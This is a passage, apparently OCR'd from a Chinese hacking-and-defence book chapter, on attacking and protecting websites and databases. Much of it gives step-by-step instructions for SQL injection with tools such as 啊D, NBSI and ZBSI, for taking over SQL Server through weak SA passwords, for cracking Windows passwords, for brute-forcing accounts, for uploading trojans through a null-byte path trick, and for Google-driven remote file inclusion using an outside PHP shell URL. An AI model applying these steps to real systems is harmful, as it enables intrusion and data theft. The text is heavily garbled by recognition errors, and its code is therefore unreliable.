单击“提交（显示完整效果）”按钮，即可查询是否存在相应漏洞。若漏洞存在，注入成功：若不存存，则会弹出4-14的提示框。

在“项名”文本框中输入猜测的字段名，在“字段长度”文本框中输入字段长度，并在最下面的文本框中输入要注入内容之后，单击“查询表中的项名”按钮，即可生成猜测项名代码。再单击“提交（显示完整效果）”按钮，即可返回4-15的提示信息，在其中可以得到网站的表、项及内容长度等内容。

4-15.png

在“当前猜解位数”和“猜解项中的内存”中输入位数和猜解信息之后，单击“猜解表项中的内容”按钮，即可生成猜测表项内容的代码。再单击“提交（显示完整效果）”按钮，即可开始对项中所有的内容分析猜测。在等到猜解结束之后，就可以从中找出破解的密码，从而实现网站的注入了。

2、使用工具进行注入攻击

除手工进行SQL注入攻击外，攻击者还可以使用专门的SQL注入工艇进行攻击，对MySQL攻击常用的工具是“啊D注入工具”。“啊D注入工县”是一款出现相对较早且功能推常强大的SQL注射工具，具有旁注检测、SQL猜解、密码破解、数据库管理等功能，是一个针对ASP+SQL注入的程序，使用多线程技术．从而大大提高检测速度。

使用啊D注入工具进行注入的具体操作步骤如下。

下载并解压缩“啊D注入工具”压缩后，双击其中的可执行程序，即可打开“啊D注入工具”主窗口，4-16。

在“啊D注入工具”主窗口的左边“注入检测”栏目中单击“扫描注入点”按钮0，打开“扫描注入点”窗口，4-17，在“检测网址”文本框中输入要检测的网址后，单击“打开网址”按钮，即可检测该网站是否存在注入漏洞。如果存在漏洞，则会将其显示在“可用注入点”栏目中，如4-18。

4-17.png

在可用注入点”栏目中选择要注入的网址，存左边“注入检测”栏目中单击“SQL注入检测”按钮妇，即可进入“注入检测”，4-19。

4-19.png

单击“检测”按钮，即可进行检测。待检测完毕后单击“检测字段”按钮，即可检测出网页中用到的数据表，并将其显示在下面的列表中，4-20。

4-20.png

在检测出的数据表中选择某个数据表后，椎击“检测字段”按钮，可对其包含的字段进行检测，4-21。在

检测出的字段列表巾勾选填前面的复选框之后，单击“检测内容”按钮，即可检测出其具体内容，如用户名、密码等，4-22。

4-22.png

在“啊D注入工具V2.32”主窗口中单击“管理入口检测”按钮口，即可打开“管理入口检测”窗口，4-23。在“网址检测”文本框中输入要检测的地址后，单击“检测管理入口”按钮，即可检测出该网站可能包含的管理入口。待检测完成后，会将该网站的可用连接和目录位置显示出来，4-24。

4-24.png

在“可用连接和目录位置”列表右击要打开的网址，在弹出的快捷菜单中选择“用IE打开连接”选项，存IE浏览器中打开该网页，4-25。这样，黑客就可以用猜解管理员的账号和密码尝试着进入该网站后台管理页面。

4-25.png

SOLServer数提库注入攻击

SQLServer数据库常用网站的后台，为访问该网站的客户提供客户查询、提交货单等服务，是一个网站能够正常运作的前提，因此也是黑客经常攻击的一项重要手段。

对SQLServer数据库进行注入攻击的操作步骤如下。

获取SQL-Server数据库的口令。进入MS-SQL数据库服务器必须有SQL-Server数据库的SAI口令，获得SA令的软件很多，如X-Scan软件，4-26。

单击“扫描参数”按钮，打开“扫描参数”对话框，单击“全局设置”选项的“扫描模块”选项，进入“扫描模块”设置界面，在其中选择要进行扫描的“SQL-Server弱口令”选项，4-27。

4-27.png

单击“检测范围”选项，进入“检测范围”设置界面，在其中输入指定的lP范围或从地址簿中选择，4-28。

4-28.png

单击“确定”按钮完成设置之后，单击“开始扫描”按钮，即可自动进行扫描，扫描结束后会弹出扫描报行，在其中可看到目标机的名称及口令信息，4-29。

在取得了SQL-Server数据库的SA口令之后，就可以进入目标实施攻击了。在本地机器上安装SQL-Server服务器之后，选择“开始”一“所有程序”一“MicrosoSQLServer”一“企业管理器”菜单项，Hp可进入SQL-Server管理平台，4-30。

4-30.png

右击“SQL-Server组”选项，从快捷菜单中选择“新建SQL-Server沣册”选项，打开“沣册SQL-Server向导”对话框，4-31。

单击“下一步”按钮，进入“选择SQL-Server”对话框，存在“服务器”文本框中输入目标机的lP地址，4-32。单击“添加”按钮，将地址添加到“添加的服务器”列表框中，4-33。

4-32.png

单击“下一步”按钮，进入“选择身份验证模式”对话框，并选择“系统管理员给我分配的SQLServer登录信息（SQLServer身份验证）”单选项，如圈4-34。

4-34.png

单击下一步”按钮，进入“选择连接选项”对话框，在其中选择“用我的SQLServer账号信息自动登录”单选项，再输入相应登录名和密码，4-35。

单击“下一步”按钮，进入“选择SQLServer组”对话框，4-36。再点击“下一步”按钮，打开“完成注册SQLServer向导”对话框，4-37。

4-36.png

单击“完成”按钮，会弹出成功注册的信息提示，4-38。点击“关闭”按钮，返回SQL-Server管理平台。此时在本地机器的SQL-Server管理平台中即可像管理本地机器的SQL服务器一样，管理远程主机的SQL-Server服务并对其进行任意更改。

4-38.png

暴力破解攻击

口令破解与暴力破解的主要作用是获取攻击目标的口令和密码等，能为攻击者进一步实施攻击打开通道。下面几个常用软件为例，模拟黑客如何进行口令破解和暴力破解攻击。

1、口令破解攻击

SAMInside是一款功能强大的口令破解软件，支持暴力破解、模糊破解、字典攻击、多台电脑分布式破解等多种破解方式，破解密口5的速度可达到每秒几百万。

下面LSAMlnside-v2.63版本为倒进行介绍，具体的操作步骤如下。

下裁并解压缩SAMlnside-v2,63的软件包后，双击其中的可执行程序，即可打开“SAMInside-v2.63”运行主窗口，4-39。

在“SAMlnside．v2.63”运行主窗口中的快捷菜单栏中，单击第一个菜单选择破解密码导入的方式，4-40。从上到下分别是：从SAM和SYA工EM文件导入、从SAM和SYSKEY文件导入、从PWD口MP文仲导入、从.HD工文什导入、从.LCP文件导入、从.LCS文件导入、从.LC文件导入、从.LS工文件导入等。

4-40.png

在“SAM上nside-v2.63”运行快捷菜单栏，单击第1个菜单按钮，可以选择导出的文件，如4-41。分别是：导出PWD口MP文件，导出PWD口MP文件，选定的用户、导出已猜解的密码、导出统计表等。

在“SAMlnside-v2.63”运行主窗口中的快捷菜单栏中，单击第三个菜单按钮，可以选择“从本地电脑的安全认证子系统LSASS导入要破解的内容(ImportIocalserssingLSASS)”，也可选择“从本地电脑使用计划任务导入破解内容(ImporlocalserssingSchedler)”。如果选择了后者，则需要进行等候才能导入，442。

4-42.png

在“SAMlnside-v2,63”运行主窗口的快捷菜单栏中，单击第四个菜单按钮0，可以选择转账，分别是“全选(Markallsers)”、“全不选(口nmarkallsers)”、“反选(Invertmark)”、“编辑账户(Editsers)”和“增加账，-(Add口ser---)”，443。单击“Addser”选项，弹出“SAMlnside”对话框，在其中可以设置新增加的账户信息，还可以在其中的相应位置输入LM和Nt的哈希值(hash)，4-44。

4-44.png

在“SAMlnside\*v2.63”运行主窗口中的快捷菜单栏中，单击第五个菜单按钮，可以删除列表中的账户，该菜单从A到下依次是：删除选择的账号-删除已经创建了密码的-删除所有的账户，4-45。

在“SAMlnside-v2.63”运行：窗口中的快捷菜单栏中，单击第7个菜单按钮&，可以获取当前账)'的LM哈希值和Nt哈希值。单击该按钮，即可打开生成器的“SAMlnside”

窗口，在其中分别看出LM和N工的哈希值，4-46。

4-46.png

在“SAMInside-v2.63”运行主窗口中的快捷菜单栏中，单击第8个菜单按钮，可以选择攻击方式，在LM-Hash、N工-Hash攻击方式之间选择，也可在暴力破解(Brte-orceattack)、掩码攻击(Maskattack)、字典攻击（Dictionaryattack）、分布式攻击(Pre-calclatedtablesttack)之间进行选择，4-47。

4-46-1.png

“SAMlnside-v2,63”运行主窗口中的快捷菜单栏中的第9个菜单按钮b和第10个菜单按钮D，是黑客们主要用来恢复密码破解目标口令。

4-47.png

在了解SAMlnside-v2.63程序菜单命令的主要功能后，下面以一个本地计算机的账户Adminis工ra工or的口令破解为例，来讲述口令破解的过程，其操作步骤如下。

打开“SAMlnside”窗口，单击“选择导入破解内容”菜单按钮0，在下拉菜单中选择“从本地电腑的安全认证子系统-LSASS导入要破解的内容”任务项，即可自动读入本机的用户账户信息，4-48。

选“Administrator”账户，在“选择攻击方式”菜单中选择合适的攻击方式，选择Nt-Hash和Brte-orce攻击方式，4-49。

单击“选择攻击方式”菜单中的“Options”菜单项，打开“Options”对话框，在第二个选项卡下勾选“A---Z”复选框，并选择7位的密码个数，4-50。

4-50.png

单击“OK”按钮，保存选项设置，再单击第9或第10个菜单按钮，即可开始破解密码，4-51。另外，读者还可根据需要选择其他攻击方式。

4-51.png

2、暴力破懈攻击

暴力破解攻击也是黑客常用的密码破解方式，下面介绍如何对Nt口令进行暴力破解。

进行暴力破解的常用工具有WMICracker、SMBCrack、SQLdic工等。

(1)WMICracker

WMICracker是一款暴力破解N工主机账号密码工具，常用"-破解WindowsN工/2000/XP/2003等操作系统的口令，破解时需要目标主机开放135端口，其使用方法为：WMICracker。

exe<lP><sename><Password下il>【threads】。相关参数说明如下。

（IP>：目标IP:

<semame>：待破解密码的账号，必须属‘管理员组：

<Password下ile>：密码文件：

[threads]：线程数，默认为80，该数值越大，破解速度越快。

假设攻击者使用扫描软件已经扫描到192,168,0,7这台计算机上有一个名字为gloc的管理员权限账号，并认为其密码符合如下规则。

3位字母(a～g)和2位数字(O～9)的组合：

首字母为大写；

数字在字母之后。

入侵者可以在命令提示符中运行

WMlcracker192.168\_017glocl.dic100”命令开始暴力破解．4-52。

4-52.png

(2)SQLdictSQLdic工是一个攻击SQLServer的字典，用工具暴力破解SQL口令，该工具有助让用户了解口令在遭到攻击时是否有是够的防御能力。SQLdic工的主窗口4-53，各项参数的含义如下。

targetserver:目标主机的IP

target:待破解密码的账号

LoadPassword下ile:单击这里选择密码字典文件

在设置完毕后，单击“Start”按钮，即可开始暴力破解，其扫描结果4-54。

4-54.png

常见HiAI

对网站进行SQL注入攻击，除了可以利用手工方法外，还可以利用一些专门的注入工具，多数的注入工具功能都非常强大，集检测漏洞和攻击于一身，使用这些工具可以提高注入检测的效率，是黑客进行注入攻击的利器。

1、NBSI注入工具

NBSI是一套集成性Web安全检测系统，是一 款网站漏洞检测和ASP注入漏洞检测工具，特别是在SQLServer注入检测方面有极高的准确率。使用NBSI可检测由网站中是否存在注入漏洞，也可进行注入攻击，具体的实现步骤如下。

下载并解压缩NBSI压缩包．双击其中的主程序NBSI.exe，打开“NBSI操作”主窗口，4-55。单击工具栏中的“网站扫描”按钮，打开“网站扫描”窗口，4-56。

在“注入地址”文本中输入要扫描的网站地址，并选择"快速扫描”单选项。

单击“扫描”按钮，即可进行扫描。如果该刚站存在注入漏洞，则会在扫描过程中将这些漏洞地址及其注入性的高低显示在“扫描结果”列表中，4-57。在“扫描结果”列表中单击要注入的网址，即可将其添加到“注入地址”文本框中，4-58。

4-56.png

4-58.png

单击“注入分析”按钮，进入“注入分析”窗口中，4-59。在其中勾选“get”复选框，可以在“特征符”文本区域中输入相应的特征符。

单击“检测”按钮，即可对该网址进行检测，其检测结果4-60。这里可得到一个数字型+Access数据库的注入点，ASP+MSSQL型的注入方法与其一样，都可以在注入成功之后去读取数据库的信息。

4-60.png

4-60-1.png

在“已猜解表名”栏目中单击“猜解表名”按钮，打开“提示信息”提示框。在其中可以看到该网站的数据库类型等信息，4-61。

单击“确定”按钮，即可开始对该网站数据库进行猜解。待猜解完毕之后，会在“已猜解表名”文本框中显示猜解的数据表的表名，4-62。

4-62.png

在选中要猜解的数据表后，单击“猜解列名”按钮，即可得到该表所包含列名的详细信息，4-63。在勾选猜解列名前面的复选框之后，单击“猜解记录”按钮，即可得到该列中包含的详细信息，4·64。

4-64.png

在“NBSI”手窗口的工具栏中单击“扫描及工具”按钮量，进入“扫描及工具”窗口，4-65。将扫描出来的“可能性：较高”网址复制到“扫描地址”文本框中，并勾选“由根目录开始扫描”复选框。单击“开始扫描”按钮，即可将可能存在的管理后台显示在“可能存在的管理后台”列表中，4-66。

4-66.png

由于一个网站可能包含多个管理页面，所以扫描出来的管理后台不止一个。可在默认管理页面利用破解出的用户名和密码进入其管理后台，也可以逐个进行测试。

2、Domain注入工具

旁注WEB综台检测程序(Domain)是一款功能非常强大的SQL注入工具，可帮助用户方便地进行旁注检测、SQL注入检测、数据库管理等操作。该工具还具有虚拟主机域名查询、二级域名查询、整合读取、修改Cookes等功能，所以比较适合初学者。

在Domain中实现注入攻击的具体操作步骤如下。

下载并运行旁注WEB综合检测程序(Domain)V.3.6专用版，打开“WEB综合检测程序V.3.6专用版”生窗口，在其中可看到Domain所包含的各个功能模块，包括：旁注检测、综合上传、SQL注入检测、数据库管理、破解工具以及辅助工具等，4-67。

单击程序主窗口工具栏中的“旁注检测”按钮，在“输入域名”文本框中输入要检测的网址，4-68。

4-68.png

单击“转换域名”按钮，将该网址对应域名显示出束，4-69。单击“查询”按钮，即可将域名地址搜索出来并存左边区域中，4-70。

4-70.png

在其中双击要检测的网站，即可进行注入点检测。如果存在注入点，则会将其显示在“注入点”列表中，4-71。在”注入点”列表中右击要注入的网址，在弹出的快捷菜单中选择“注入检测”选项，即可进入“注入检测”窗口，4-72。

4-72.png

单击“开始检测”按钮，开始检测。待检测完毕后如果出现“恭喜，则可以注入，数据库类型：Access数据库”提示信息，则说明该网址可以注入，4-73。

单击“数据库”栏目中的“猜解表名”按钮，即可对该网页用到的数据库进行猜解。待猜解完毕后，即可将得到的数据表名显示在“数据库”列表中，4-74。

4-74.png

选中要猜解的数据表后，单击“猜解列名”按钮，即可对列名进行猜解，并将猜解出的列名显示在右边的列表中，4-75。选中要猜解的数据表后，单击“猜解内容”按钮，即可得到该表所包含列的相关信息，4-76。

4-76.png

单击“MSSQL注入”传文件”按钮，打开传文件窗口，在其中可以将本地的木马文件上传到远程主机，4-77。单击“MSSQL注入”选项，下的“管理入口检测”按钮，打开“管理入口检测”窗口，4-78。

4-78.png

在“注入点”文本框中输入要检测的地址后，单击“扫描后台地址”按钮，即可对该网站进行扫描，并把扫描的后台地址显示ih来，4-79。

单击“检测设置区”按钮，打开“检测设置区”窗口，在其中可以对检测地址的设置表名、设置字段等进行查看，4-80。

4-80.png

3、ZBSI注入工具

ZBS上注入是一款经典的PHP注入辅助工具，可运行在Windows2000/XP/2003上。

它检测PHP网站中是否存在注入漏洞和字段数，还可将其作为一个浏览器来打开指定的网页。使ZBSI检测注入点井进行攻击的具体操作步骤如下。

在Google搜索引擎中搜索网址含有“php7id=”字符的网页，4-81。

下载并运行其中的“ZBSIV上.O“PHP注入工具”.exe”文件，打开“ZBSIVl.OPHP注入工具主窗口，4-82。

4-82.png

在“注入地址”文本框中输入下面搜索到的网址后，单击“检测注入”按钮，即可对其检测，待检测完毕后，将会显示该网站是否可以进行PHP注入，4-83。

在ZBSI中还可以对得到字段的数目进行检测，单击“字段检测”按钮，即可看到“猜解得到的字段数目”对话框，4-84。单击“确定”按钮，即可在“ZBSIVI.OPHP注入工具主窗口中看到含有猜解到字段的网址，4-85。

4-84.png

ZBSI还附带有浏览器功能，在“ZBSIVl．OPHP注入工具主窗口的“网站地址”文本框中输入要浏览的网页地址（如新浪）后，单击“浏览”按钮，即可浏览相应的网页，4-86。

4-86.png

Web脚本注入攻击的防范

Web脚本注入攻击的防范，上要是针对SQLServer和SQL数据库的防范，数据库文件是网站运行过程中的核心文件，这个核心文件被黑客入侵并下载，整个网站的控制权几乎就是黑客的了。

保护SQLServer

对数据库安全防范措施之中，最为简单的办法就是对数据库文件的安全防范。

这里以WindowsXP系统为例，介绍如何对本机数据库文件进行防范。

1、修改数据库的下载地址

修改数据库的下载地址，可以防止本机数据库文件被下载，不过需要先安装IIS服务器，

具体的操作过程如下。

选择择“开始”一“控制面板”一“添加或删除程序”菜单项，打开“添加或删除程序”对话框，4-87。

单击“添加／删除Windows组件”按钮，打开“Windows组件向导”对话框，存其中勾选“Internet信息服务”复选框，4-88。

4-88.png

单击“详细信息”按钮，打开“Inteme工信息服务(IIS)”对话框，在其中勾选“Inlernei信息服务管理”等，4-89。

单击“确定”按钮。再次打开“Interne工信息服务(IIS)”对话框，单击“下一步”按钮，把WindowsXP系统盘放入光驱中，即可自动进行安装，4-90。

4-90.png

在安装完毕后，即可弹出“完成Windows组件向导”对话框，4-91。

单击“完成”按钮，完成IIS服务的操作。

选择“开始”一“程序”一“管理工具”一“In工eme工信息服务”菜单项，打开“Internet信息服务”管理器窗口，4-92

4-92.png

在该窗口中选择数据库文件(Dvbbs8.mdb)并右击，从弹出的快捷菜单中选择“属性”菜单项，打开“Dvbbs8.mdb属性”对话框，4-93。

在其中选择“重定向到RL”单选项，在“重定向”栏中输入当前网络的网址（或任意网址），4-94。

4-94.png

依次单击“应用”按钮和“确定”按钮，这样，如果再有黑客试图打开本地数据库文件，将自动访问重定向的网址，而不会执行该数据库文件的下载操作。

2、修改数据库文件名

修改默认的数据库文件名也是保证数据库安全的方法，有一世数据库开发人员就简单地把数据库文件的扩展名修改为.asp，就可以保证数据库文件不被IE浏览器的下载功能所下载，4-95。但这种方法却不能保证不被其他的下载工具所下载，如迅雷、快车等。

就可以下载后缀名为asp文件，4-96。

4-96.png

在下载完成后，只需把文件名后缀名再改成mdb，就可使用Access程序对文件正常编辑了，从窃取数据库文件的隐私信息。

从下述可以看出，只是简单地对网站数据库文件的后缀进行更改，不能很好保障数据库文件的安全，还需要另外一种方法，即在数据库文件名中添加群符号，如#123.asp。

这样，无论是哪种下载工县都不能把该文件下载到本地磁盘，进而网站的数据库文件也就更安全了。这里以“动网论坛Dvlobs8.2.0Access版”为例，介绍如何更改数据库文件名及路径，以保汪网站数据库的安全。

4-96-1.png

具体的操作步骤如下。

下载并解压动网论坛程序“Dvbbs8.2.0Ac“文件，在其中找到“conn.asp”文件，4-97。

用Dreamweave下打开目录下的“conn.asp”文件，在其中找到数据库连接代码：

“ConnS工r=”Provider=Microsot.et.OLEDB.4.O;Da工aSo口rce=“＆Server.MapPath(MyDbPaih＆db)”，4-98。

4-98.png

其中，“Server.MapPath(db)”中的“db”变量是用二定义数据阵文件路径的，因此，需要向上查找“db”变量的赋值语句，具体方法为：Db=”data/dvbbs8.mdb”。该句代码的作用是用来定义数据库路径及文件名的。将其中的数据库文件名及路径进行修改，如：

修改为“Db一”bbsdata/bbs#test.asp.””，4-99。

在对数据库连接文件“conn.asp”中的数据库路径和名称修政完成后，还需要将已经改名的数据库文件移到指定的路径中。打开动网论坛程序目录，将其中的“data”文件夹重新命名为“bbsdata”，再将默认的数据库文件名“dvbbs8.mdb”修改为“bbstest.asp”，4-100。

4-100.png

这样，通过添加“#”号就可以在一定程度上防止数据库被下载。因为在网址链接“静”符号被看作一个截断符，IE或其他的下载工具会自动忽略"#”号后面的内容，这就起到了

一定的欺骗性，入侵者也就不能进行下载或访问到真实的数据库。

防止SQL数据库攻击

黑客在脚本注入攻击的过程中，其目标往往包含大量数据的数据库，通过获取管理员的密码、信息，甚至通过数据库获得WebShell，控制整个网站服务器。

尤其是SQL数据库的安全性更重要，如果安全设置不慎，攻击者甚至可以直接通过SQL。

4-102.png

此外，还可以去掉注册表访问的存储过程，以及其他危险的扩展存储过程。例如：    xp—regaddmultistring

xp—regaddmltistring

xp\_reqdeletakey

xp\_regqdeletevale

xp—rec:lenmvales

xp—regread

xp\_reclremovemltistring

xp\_regwrite

2、使用安全的数据库账号

SQL是各种系统中使用最多的数据库系统，数据库中往往存在着许多重要的信息，而且数据库服务器遭受攻击，后果将不堪设想。其默认的sa用户具有对SQL数据库操作的部分权限，但sa账号的默认设置为空口令，以至于SQL服务器遭受sa空口令的攻击。所以一定要修改SQL安装时默认的sa空密码，需要为sa账号设置一个复杂的口令。

另外，要严格控制数据库用户的权限，不要轻易让用对表有直接的查询、更改、插入、删除的权限，可以通过给用户以访问视图的权限，以及只具有执行存储过程的权限。

最后，还可以对主机使用数据库应用时，只是用来做查询、修改简单功能的用户，根据实际需要分配新的账号，并给予其能满是使需要的有限权限就够了。

防止SQL攻击

众所周知，SQL注入攻击的危害性比较大，已经严重影响到程序的安全。因此，要想从根本防止SQL注入攻击，必须从网站设计的源头开始。在防御SQL注入攻击时，程序员必须注意可能出现安全漏洞的地方，常出现的就是用户数据输入处。

1、对用户输入的数据进行过滤。

用户输入的数据进行过滤是防止SQL注入攻击的关键所在，常见的过滤方法有基础过滤以及SQL通用防注入程序等多种方式。

(1)基础过滤与二次过滤。在SQL注入入侵前，需要在可修改参数中提交…”、“and”等特殊字符来判断是否存在SQL注入漏洞；在进行SQL注入攻击时，需要提交包含“：”、“一”“pdate”、“select”等特殊字符的SQL注入语句。所以要防范SQL注入，则需要在用户输入或提交变量时，对单引号、双引号、分号、逗号、冒号等特殊字符进行转换或过滤，以最大程度减少SQL注入漏洞存在的可能性。

下面是一个ID变量的过滤性语句：

iinstr(reqest("idⅣ),Ⅳr“)>00rinstr(reqest(’、id"),"insart¨)>or

instrlreqestCid,,)，”)>Othenresponse.writeⅣ

<SCRIPlancaqe-avascript>

avaScripthistorytco(--1):

</SCRIPt>

response.end

endi下

值用上述代码可以过滤ID参数中的“：”、“，”和“insert”字符。如果存ID参数中包含有这几个字符，则会返回错误页面。但危险字符远小止这几个，要过滤其他字符，只需将危害字符加入下面的代码即可。一般情况下，在获得用户提受的参数时，首先要进行一些基础性的过滤，再根据程序相应的功能、输入进行过滤。

(2)使用SQL通列防注入程序”进行过滤。使用“SQL通列防注入程序”可以全面地对程序进行过滤，从而很好地阻止SQL脚本注入漏洞的产生。该程序全面处理通过POS工和OE两种方式提交的SQL注入，自定义需要过滤的字符串。当黑客提交SQL注入危险信息时，’就会记录黑客的lP地址、提交数据、非法操作等信息。具体的操作步骤如下。

下载并解压缩“SQL通用防注入程序V3.1”，可以看到该程序主要包含Neeao

SqlIn.ASP、Neeao\_sqi\_admin.asp和Sql.mdb等3个文件，4-103。

将其复制到网站所在的文件央中，在需要防注入的页面头部加入“<!--#incl口de下iile=”Neeao\_SqlIn,ASP”．一>”代码，即可在该页面防御SQL注入，4-104。

4-104.png

4-104-1.png

2、设置错误提示信息。

SQL注入主要依据是IIS给出的ASP错误信息，所以配置IIS和数据库用厂，权限，可以阻止SQL注入攻击。具体的操作步骤如下。

在“管理工具”窗口中双击“Internet信息服务”图标，打开“Internet信息服

务”窗口，4-105。

依次展开“本地计算机”一“网址”分支，右击其中的“默认网站”图标，在弹出的快捷菜单中选择“属性”选项，打开“默认网站属性”对话框，4-106。

4-106.png

换到“自定义错误”选项卡，在“错误”列表中选择“500：100”选项，4-107。单击“编辑属性”按钮，打开“错误映射属性”对话框，在“消息类型”

下拉列表中选择“默认值”选项，4-108。单击“确定”按钮，完成对错误提示信息的设置。

4-108.png

文件上传为渗透铺路

大部分网站都为用户提供了文件上传功能，这就会产生网站上传漏洞，产生的主要原因是网页代码中的文件上传路径变量过滤不严格所造成的，攻击者利用这个上传漏洞就可以任意上传网页木马，如ASP等，再链接上传的网页，即可控制该网站的系统。

上传功能导致漏洞

上传是一种比注入更具有杀伤力的漏洞。通过注入所得到的往往是数据库的一些敏感数

据，如管理品名称、密码等。上传漏洞就不同了，可以把ASP、上sP、CGI、PHP等格式

的等格式的木马上传至网站内，所获得的权限最低也是WebShell。

对于上传漏洞的查找，仍是从源文件入手，目标有两个，一个是FilePath，即文件路径；另。个则是FileName，即文件名称。

下面简单介绍下：传漏洞产生的原理。网站的上传漏洞足由于对网页代码中的文件上传路径变量不过滤造成的，在很多网站中都存在上传页面，4-109。

4-109.png

但这类上传页面只是一个调用框架，将用户的文件参数提交给真是线上传功能的程序文件，代码如下：

<form action:"upfile.asp"  . \_ .>

<input type-vrhidden" name-r'filepath" value="UploaadFile">

<input type-.r'file'r name="file">

<input type-\*'submit" name."Submitri value=" l:传\*r clar,s-"login\_btn">

</fo rm>

在上述代码中“filepath”是文件上传路径，由于网页设计者没有对该变量进行任何的过滤，所以黑客可以修改任意变量的值。在编程语言中有个特殊的接支付“\0”，该符号的作用是通知网站服务器终止后面的数据接收，黑客可利用该截止符重新构造filepath。’

例如：正常的上传路径是“http://www．xxx．com/net op/upload/Ol.上pg”，但黑客可以使用“\0”来构造rilepath为“http://www.xxx.com.cn/netop．asp \O/01．上pg”，这样当服务器接收fllepath数据时，就会简单地看到“netop.asp”后面的“\O”后，认为rllepath数据到此就结束了，此时上传文件就被保存为http;//www.xxx.com.cn/netop．asp。利用这个上传ASP木马，再连接上传的网页，进而控制整个网站系统了。利用Google发起RTF攻击

当检测到某个PHP程序的远程包中包含漏洞后，攻击者就会再搜索一些包含漏洞的站点，井对整个站点进行漏洞检测攻击。通过Google搜索引擎就可以寻找漏洞站点。再借助一些小工具就可以引发RTF攻击。具体的操作步骤如下。

下载并运行Goo小跑堂软件，打开“Goo小跑堂”主窗口，4-110。

在其中单击“高级”按钮，在下方页面中显示Google的高级搜索，1-11 1。

4-111.png

在其中设置要搜索的漏洞网站程序关键字，如这里在“包含完整字句”中输入

“Powered by REALTOR 747”，并将搜索结果设置为“100”，4- 112。

在程序界面的“关键：”文本框中输入链接路径分隔符“／”，此设置用于定位搜索到的结果列表中的的链接地址根目录，并将其替换成下面提交的链接参数，4-113。

4-113.png

在“Goo小跑章”主窗口勾选左下角的复选框，在其文本框中输入要搜索的远程文件包含漏洞地址链接，这里以“Realtor 747 Version 4.11”网站程序远程包含漏洞链接为例，假设PHP Shell的链接地址为：“http：//x iaopuma.gic p.n et/s hell.txt”，则设置提交的参数设置为：“ http://xiaopuma,gicp.neV shell.txt?“，如同4-114。

在设置完毕后，单击上方网页框中的“Google搜索”按钮，即可搜索到相应网站的链接地址，4-115。

4-115.png

利用清扫员验证漏洞的站点。在使用Goo小跑章搜索到大量可能存在漏洞的站点地址列表后，还需要利用清扫员验证漏洞的站点，下载并解压缩“Goo清扫员”解压缩包，

双击其中的可执行文件，打开“Goo清扫员”主操作界面，4-116。

在Goo小跑堂中选择所有URL地址列表，并复制粘贴到G00清扫员的“分析”

选项中，单击“添加到则表”按钮，即可将所有网址添加到“检测”选项中，4-117。

4-117.png

在“Goo清扫员”主界面中勾选“需要关键字”复选框，在其文本框中输入相应的关键字，如密码，4-118。

在设置完毕后，单击“开始”按钮，即可自动探测列表中的网址是否存在远程文件包含的漏洞，如果成功检测到漏洞的链接地址，将会娃示在“扫描结果”列表中。复制该链接地址，直接存IE浏览器中打开，即可看到远程包含的Webshell了，4-119。

4-119.png

本地提交上传流程分析

本地提交上传流程主要包括：定义变量、技取上传文件名、检测后缀名、文档上传以及保存等几部分。

1、定义变量

在上传文件之前，需要定义各种上传变量，如上传路径、保存目录、允许上传文件的类型等，这部分的具体实现代码如下：

<%

const upload\_type-0    上传方法：0一无惧无组件上传类，1—FS0上传2-lyfupload,3=aspupload, 4=chinaaspupload

dim   upload,O File, formName, Save Pa th, filename, fileExt

dim  ImgWidth, Imc上Height, AlignType

dim EnableUpload

dim arrUpFileType

dim ranNum

dim msg,FoundE;rr

mSg!””

FounciErr-false

Ena20leUpload=false

SavePath；SaveUpFilesPath  ／／存放上传文件的日录

if right (SavePath,l)《>’’／¨then SavePath:SavaPath&"/"%>

sub upload\_0()    ’使用化境无组件上传类

set upload:new upfile\_class  ’’建立上传对象

2、 获取上传文件名

在定义完各种变量后，就需要使用for循环来获得上传文件的文件名，其实现代码如下：

for each fc)rmName in upload.file／／列出所有上传了的文件set  ofile=upload. file f forrnNarne)  ／／生成一个文件对象

3、检测后缀名

在获得文件名后，还需要获得上传文件的后缀名，并检测文件扩展名是否合法，要实现这些功能需要用到以下的for循环语句，其具体内容如下：

fiLeExt=lcase (ofile．FileExt)  ／／将扩展名转换为小写字符

arrUp Filerr ype=split(UpFileT ype”l”)／／读取后台定义的允许上传的文件扩展名for i—0  tubound(arrUpFileType)  ／／第一次后缀名检测，用FOR循研=读取ar rUpFikType数组

if  fileEXT-trim (arrUpFilerype (i))then//如果fileExT是允许上传的扩展名

EnableUpload=t rue//为真，表示该文件台法

exit for

end if

next

4、 文件上传与保存

在上传之前还需要检测FoundErr变量值的真与假，如果为真则执行文件上传与保存操作，其实现代码如下：

str上S=,\*<SCRIPT  language-上 avascript>"&vbcrlf

if FounciErr<>true then  ／／第四次检测，如果FoundErr小等于true则允许上传

randomize

ranNum-int (900\*rnd) +100

filename-S avePath&year (now) &month <now) &day (now) &hour (now)  &minu te(flow)＆

second (now} &ranNum&”．t‘＆fileExt  ／／定义filename，共值为固定的路径名+年月日及随机值生成的名称+fileExt扩展名ofile．SaveTo Filc上 Serve}r .mappath( FileWame)    ／／保存文件 Msg="上传文件成功！”

response.write str上S

set file=nothing

next

set upload-nothincl

enci sub

%)

分析上述代码可知，逻辑变量“EnableUpload”和“FoundErr”在文件上传过程中起着非常重要的作用。“EnableUpload”验证文件扩展名的合法性，当其值为“True（真）”时表示合法；而“FoundErr”用于表示文件是否可以上传，当其值为“False（假）”时，表示可以上传。所以，这两个变量接影响着非法文件是否会上传成功，上传漏洞是否存在。

WScokExpert与上传漏洞攻击

WSockExpert是一个网络数据抓包工具，可用来监视和截获指定进程网络数据的传输，主要用于网站测试。黑客经常使用该工具修改网络发送和接收的数据，从而完成网页脚本入侵。

使用WSockExpen截获网络数据的具体操作步骤如下。

下裁并运行WSockExpert V0,6，其主窗口4-120。单击工具栏中的“打开”按钮，打开“Select Process To Monitor（选择监听的程序）”对话框，如想监视某个网

页则展开“1EXPLORE.EXE”选项，在其中选择打开的网页名称，如选择一个上传网页

http:nlocalhosUqinzhu/Uprile．html，4-121。

4-121.png

单击“打开”按钮，返回到主窗口中，对本地上“Upfile.html”网站的数据变换

进行监控。在窗口中将及时显示本地主机与网站进行的每一次数据交换，4-122。

其中所包含的并列的含义如下。

Status;在该列中可看到数据交换的状态，有发送(Send)和接收(WSA)两种状态。

PacketsHex:交换数据的16进制代码。

PacketsText: 16进制代码转换成的信息。

Addfess:从该栏目中可查看到每次数据交换经过lP地址传递与转换的次数，并可以查看远程上机的IP地址。

单击列表中某个数据交换，即可在窗口中看到转换后的详细信息，4-123。转化后的相关代码如下：

POST /qinzhu/admin%20/ArticLe/Upload\_\_ Article.asp HTTP/1.1

